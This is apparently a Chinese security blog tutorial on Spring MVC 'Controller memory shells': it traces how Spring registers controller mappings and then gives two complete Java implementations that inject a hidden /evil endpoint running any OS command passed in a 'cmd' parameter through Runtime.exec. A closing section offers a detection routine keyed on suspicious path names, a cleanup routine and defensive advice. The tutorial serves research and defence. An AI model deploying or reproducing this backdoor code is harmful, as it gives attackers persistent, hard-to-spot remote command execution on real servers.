在Spring框架中,Controller内存马是最高效、最隐蔽的攻击方式之一。Spring通过RequestMappingHandlerMapping管理所有Controller映射,攻击者通过动态注册恶意Controller即可实现持久化的命令执行后门。本文将深入剖析Controller内存马的实现原理、注入技术及检测防御策略。
一、Spring MVC核心机制:HandlerMapping
1.1 请求处理流程
在Spring MVC中,所有请求都经过DispatcherServlet统一分发:
// DispatcherServlet核心处理流程 protected void doDispatch(HttpServletRequest request, HttpServletResponse response) { // 1. 根据请求获取HandlerExecutionChain(包含Controller) HandlerExecutionChain mappedHandler = getHandler(request); // 2. 获取HandlerAdapter(适配器) HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); // 3. 执行Controller方法 ha.handle(request, response, mappedHandler.getHandler()); }关键点:getHandler()方法会遍历所有HandlerMapping,找到匹配当前请求的Controller。
1.2 Controller映射存储结构
Spring中所有Controller的映射信息存储在RequestMappingHandlerMapping中:
public class RequestMappingHandlerMapping { // 核心映射注册表 private final MappingRegistry mappingRegistry = new MappingRegistry(); class MappingRegistry { // Map: 请求映射条件 -> 处理方法的注册信息 private final Map<RequestMappingInfo, HandlerMethod> registry = new HashMap<>(); // 路径查找缓存 private final Map<String, List<HandlerMethod>> urlLookup = new LinkedHashMap<>(); // 名称查找缓存 private final Map<String, List<HandlerMethod>> nameLookup = new ConcurrentHashMap<>(); } }RequestMappingInfo:包含路径、请求方法、Headers、Params等匹配条件
HandlerMethod:包含Controller实例和对应的方法
二、Controller内存马注入原理
2.1 核心思路
Controller内存马的注入核心就是向RequestMappingHandlerMapping的registry中插入一个新的映射,使得特定URL指向攻击者定义的恶意方法。
// 注册Controller的核心API handlerMapping.registerMapping( RequestMappingInfo info, // 匹配条件(路径、方法等) Object handler, // Controller实例 Method method // 处理方法 );2.2 为什么Controller内存马隐蔽性高
| 对比维度 | Controller内存马 | Filter内存马 | Listener内存马 |
|---|---|---|---|
| 框架层 | Spring MVC | Servlet API | Servlet API |
| 存储位置 | RequestMappingHandlerMapping | StandardContext.filterDefs | StandardContext.applicationEventListeners |
| URL映射 | 灵活(支持/evil/**、/admin等) | 需配置/*或具体路径 | 自动拦截所有请求 |
| 触发条件 | 支持Header、Params、Method等 | 仅URL路径 | 无 |
| 可见性 | 与正常Controller完全一致 | FilterChain中可见 | 不明显 |
本质优势:Controller内存马与正常业务Controller在表现形式上没有任何区别,传统检测工具难以区分。
三、Controller内存马完整实现
3.1 Java版本(核心代码)
package com.memshell.spring; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; public class SpringControllerMemShell { public static void inject() throws Exception { // 1. 获取Spring上下文 ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); WebApplicationContext context = (WebApplicationContext) attributes .getRequest().getServletContext() .getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); // 2. 获取HandlerMapping RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 创建恶意Controller(匿名内部类) Object controller = new Object() { public void execute(HttpServletRequest request, HttpServletResponse response) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream(), "UTF-8") ); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } reader.close(); process.waitFor(); response.setContentType("text/html;charset=UTF-8"); response.getWriter().println(result.toString()); response.flushBuffer(); } } }; // 4. 获取处理方法 Method method = controller.getClass().getDeclaredMethod("execute", HttpServletRequest.class, HttpServletResponse.class); // 5. 构建RequestMappingInfo(设置匹配条件) RequestMappingInfo info = RequestMappingInfo .paths("/evil/**") .methods(org.springframework.web.bind.annotation.RequestMethod.GET) .build(); // 6. 注册到HandlerMapping handlerMapping.registerMapping(info, controller, method); System.out.println("[+] Controller内存马注入成功!"); } }四、源码分析
4.1 查看controller是如何注册的
将断点设置在如下图所示的位置,开始debugger,寻找controller实在哪个位置被注册的
下面是一个关键的地方,上一步并没有发现我们自己写的MyController的相关信息,直到程序执行到下图所示的位置,我们发现mappedHandler中的元素handler装有MyController的相关信息。
4.2 寻找mappedHandler
就在上述关键代码的上方,我们找到了mappedHander的声明与赋值的地方。
从代码中,我们发现了一个关键的属性,handlerMappings,在这里我们下断点,调试一下。
4.3 查看handler
这里的handler是从mapping.getHandler(request)来的,我们看一下这个方法里面的具体代码
在继承的父类中一层层往上找,我们终于在AbstractHandlerMapping这个抽象类中找到了getHandler这个方法的具体代码,设置断点,重启服务调试
4.4 查看getHandler方法
一直F7逐步调试,直到下图位置,出现了this.mappingRegistry的信息,我们跟进去
查看lookupHandlerMethod(lookupPath, request)
此时,我们在registry中成功找到了路劲和对应的处理方法,如果将我们的处理方法和路径加入registry,就能成功注入,接下来我们寻找注入的方法
4.5 registerHandlerMethod
registerHandlerMethod方法即为注册的方法
因为AbstractHandlerMethodMapping是抽象类,所以我们还需要去寻找他的子类,来调用这个注册方法
public abstract class AbstractHandlerMethodMapping<T> extends AbstractHandlerMapping implements InitializingBean4.6 寻找子类
从下图可以了解到,这个程序在运行的过程中,RequestMappingHandlerMapping这个实例是一定存在的,拿到这个对象,就可以调用他的父类的注册方法。我们接下来去寻找handlerMapping
4.7 寻找handlerMapping
找到HandlerMapping赋值的地方,发现是context调用,这里的context最后寻找是ApplicationContext,是一个interface,不能调用方法
最终我们找到了WebApplicationContext,到这里就可以串起来了。
4.8 简单梳理
通过上述源码分析,我们可以将Controller内存马的注入链路梳理如下:
- 请求分发:请求进入
DispatcherServlet.doDispatch(),调用getHandler()获取对应的HandlerExecutionChain。 - 映射查找:
getHandler()遍历所有HandlerMapping,最终在AbstractHandlerMapping中通过mappingRegistry的lookupHandlerMethod()匹配到目标路径对应的HandlerMethod。 - 注册入口:映射的注册由
AbstractHandlerMethodMapping.registerHandlerMethod()完成,该方法将RequestMappingInfo与HandlerMethod写入MappingRegistry.registry。 - 获取实例:由于
AbstractHandlerMethodMapping是抽象类,实际调用的是其子类RequestMappingHandlerMapping的实例。 - 上下文获取:通过
WebApplicationContext可以获取到RequestMappingHandlerMapping这个Bean,从而调用其父类的registerMapping()方法完成恶意Controller的动态注册。
核心结论:只要拿到WebApplicationContext并从中获取RequestMappingHandlerMapping,再调用registerMapping()将恶意路径与处理方法写入registry,即可完成Controller内存马的注入,整个过程与正常Controller注册机制完全一致,因此隐蔽性极高。
五、注入演示
5.1 注入
5.2 代码
package com.example.SpringShell.controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.DispatcherServlet; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; @RestController public class MyController { @RequestMapping("/index") public String index() { return "index"; } @RequestMapping("/inject") public String inject() throws Exception { // 1. 从请求上下文拿 WebApplicationContext WebApplicationContext context = (WebApplicationContext) RequestContextHolder .getRequestAttributes() .getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); // 2. 从容器拿 RequestMappingHandlerMapping RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 创建恶意 Controller 实例 InjectController injectController = new InjectController(); // 4. 构造 RequestMappingInfo(绑定 /evil 路径) RequestMappingInfo info = RequestMappingInfo .paths("/evil") .build(); // ← 改这里 // 5. 动态注册映射 Method evilMethod = InjectController.class.getMethod("evil"); mapping.registerMapping(info, injectController, evilMethod); return "injected"; } // 改为 static 内部类,不依赖外部实例 @RestController public static class InjectController { public String evil() { try { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder .getRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd"); if (cmd == null) return "no cmd"; String encoding = System.getProperty("file.encoding"); Process proc = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(proc.getInputStream(), encoding) ); StringBuilder sb = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { sb.append(line).append("\n"); } reader.close(); return sb.toString(); } catch (Exception e) { return "error: " + e.getMessage(); } } } }六、检测与防御
6.1 检测方法
package com.memshell.detector; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Field; import java.util.Map; import java.util.Set; public class SpringControllerDetector { public static void detect(WebApplicationContext context) throws Exception { RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 反射获取内部registry Field field = RequestMappingHandlerMapping.class .getDeclaredField("mappingRegistry"); field.setAccessible(true); Object registry = field.get(handlerMapping); // 获取registry Map Field registryField = registry.getClass().getDeclaredField("registry"); registryField.setAccessible(true); Map<RequestMappingInfo, Object> registryMap = (Map<RequestMappingInfo, Object>) registryField.get(registry); // 遍历所有映射 for (Map.Entry<RequestMappingInfo, Object> entry : registryMap.entrySet()) { RequestMappingInfo info = entry.getKey(); // 检查路径模式 Set<String> patterns = info.getPatternsCondition().getPatterns(); for (String pattern : patterns) { // 可疑特征检测 if (pattern.contains("evil") || pattern.contains("shell") || pattern.contains("favicon.ico") && info.getMethodsCondition().getMethods().size() == 1) { System.out.println("[!] 检测到可疑Controller:"); System.out.println(" Path: " + pattern); System.out.println(" Methods: " + info.getMethodsCondition()); System.out.println(" Headers: " + info.getHeadersCondition()); System.out.println(" Params: " + info.getParamsCondition()); } } } } }6.2 清理方法
public static void clean(WebApplicationContext context, String path) throws Exception { RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 获取registry Field field = RequestMappingHandlerMapping.class .getDeclaredField("mappingRegistry"); field.setAccessible(true); Object registry = field.get(handlerMapping); Field registryField = registry.getClass().getDeclaredField("registry"); registryField.setAccessible(true); Map<RequestMappingInfo, Object> registryMap = (Map<RequestMappingInfo, Object>) registryField.get(registry); // 移除匹配的映射 Set<RequestMappingInfo> keys = registryMap.keySet(); for (RequestMappingInfo info : keys) { Set<String> patterns = info.getPatternsCondition().getPatterns(); for (String pattern : patterns) { if (pattern.equals(path)) { registryMap.remove(info); System.out.println("[+] 已清理Controller: " + path); return; } } } }6.3 防御建议
| 防御层次 | 具体措施 |
|---|---|
| 代码审计 | 检查是否有动态注册Controller的接口暴露 |
| 运行时监控 | HookregisterMapping方法,记录所有注册行为 |
| 定期巡检 | 对比RequestMappingInfo与代码基线,发现异常 |
| 安全配置 | 使用Spring Security限制敏感路径访问 |
七、总结
Controller内存马利用Spring框架的HandlerMapping机制,通过动态注册Controller实现持久化后门。其核心攻击链路为:
text
获取Spring上下文 → 获取HandlerMapping → 构建恶意Controller → 创建RequestMappingInfo → registerMapping注册
关键优势:
与正常Controller完全一致,隐蔽性极高
支持多种触发条件(Header、Params、Method等)
不受Servlet容器限制
防御核心:对RequestMappingHandlerMapping中MappingRegistry的registry映射表进行定期巡检,对比异常注册,是发现Controller内存马最有效的手段。